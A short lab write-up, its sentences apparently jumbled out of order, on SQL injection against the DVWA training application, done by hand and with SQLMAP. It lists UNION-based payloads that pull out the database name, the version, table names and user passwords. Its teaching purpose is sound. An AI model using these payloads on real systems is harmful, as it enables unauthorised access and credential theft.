![]() ‘ and 1=1 union select first_name,password from ers #.‘ and 1=1 union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’ #.‘ and 1=1 union select table_name,table_schema from information_schema.tables #.‘ and 1=1 union select null,table_schema from information_schema.tables #.‘ and 1=1 union select database(),version() #.This throws an error so we know we only have 2 columns getting returned.We need to see how many columns actually get returned we will run the below syntax until we get an error (This is not required but just gives us some good information for further use).All of the SQLMAP features can be done by hand without the tool, therefore know what you are doing before automating a process. The tool is only as good as the operator. SQLMAP is a tool and just like any tool you should know the process manually before using it. ![]() I created this for some people that I work with to show them that while tools are powerful knowing the manual process is just as valuable. I decided to do a write up on SQLMAP on my KALI install against DVWA on a Fedora virtual.
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